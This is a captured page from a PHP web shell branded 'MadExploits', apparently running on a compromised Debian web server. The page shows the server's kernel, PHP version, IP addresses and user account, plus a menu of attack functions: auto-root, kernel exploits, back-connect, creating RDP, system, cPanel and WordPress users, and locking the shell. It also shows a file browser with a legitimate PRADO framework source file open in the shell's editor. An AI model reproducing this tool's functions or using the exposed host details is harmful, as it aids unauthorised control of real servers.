Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.133.149.244
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Collections /
[ HOME SHELL ]
Name
Size
Permission
Action
IPriorityItem.php
594
B
-rw-r--r--
TAttributeCollection.php
5.45
KB
-rw-r--r--
TDummyDataSource.php
1.49
KB
-rw-r--r--
TDummyDataSourceIterator.php
1.83
KB
-rw-r--r--
TList.php
10.73
KB
-rw-r--r--
TListItemCollection.php
4.52
KB
-rw-r--r--
TMap.php
7.76
KB
-rw-r--r--
TPagedDataSource.php
6.32
KB
-rw-r--r--
TPagedList.php
9.64
KB
-rw-r--r--
TPagedListFetchDataEventParame...
1.93
KB
-rw-r--r--
TPagedListIterator.php
2.21
KB
-rw-r--r--
TPagedListPageChangedEventPara...
1.03
KB
-rw-r--r--
TPagedMapIterator.php
2.37
KB
-rw-r--r--
TPriorityList.php
26.44
KB
-rw-r--r--
TPriorityMap.php
17.31
KB
-rw-r--r--
TQueue.php
4.1
KB
-rw-r--r--
TQueueIterator.php
1.92
KB
-rw-r--r--
TStack.php
3.99
KB
-rw-r--r--
TWeakCallableCollection.php
11.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TPagedMapIterator.php
<?php /** * TPagedDataSource, TPagedListIterator, TPagedMapIterator classes * * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Collections; /** * TPagedMapIterator class * * TPagedMapIterator implements \Iterator interface. * * TPagedMapIterator is used by {@link TPagedDataSource}. It allows TPagedDataSource * to return a new iterator for traversing the items in a {@link TMap} object. * * @author Qiang Xue <qiang.xue@gmail.com> * @since 3.0 */ class TPagedMapIterator implements \Iterator { private $_map; private $_startIndex; private $_count; private $_index; private $_iterator; /** * Constructor. * @param TMap $map the data to be iterated through * @param int $startIndex start index * @param int $count number of items to be iterated through */ public function __construct(TMap $map, $startIndex, $count) { $this->_map = $map; $this->_index = 0; $this->_startIndex = $startIndex; if ($startIndex + $count > $map->getCount()) { $this->_count = $map->getCount() - $startIndex; } else { $this->_count = $count; } $this->_iterator = $map->getIterator(); } /** * Rewinds internal array pointer. * This method is required by the interface Iterator. */ public function rewind(): void { $this->_iterator->rewind(); for ($i = 0; $i < $this->_startIndex; ++$i) { $this->_iterator->next(); } $this->_index = 0; } /** * Returns the key of the current array item. * This method is required by the interface Iterator. * @return int the key of the current array item */ #[\ReturnTypeWillChange] public function key() { return $this->_iterator->key(); } /** * Returns the current array item. * This method is required by the interface Iterator. * @return mixed the current array item */ #[\ReturnTypeWillChange] public function current() { return $this->_iterator->current(); } /** * Moves the internal pointer to the next array item. * This method is required by the interface Iterator. */ public function next(): void { $this->_index++; $this->_iterator->next(); } /** * Returns whether there is an item at current position. * This method is required by the interface Iterator. * @return bool */ public function valid(): bool { return $this->_index < $this->_count; } }
Close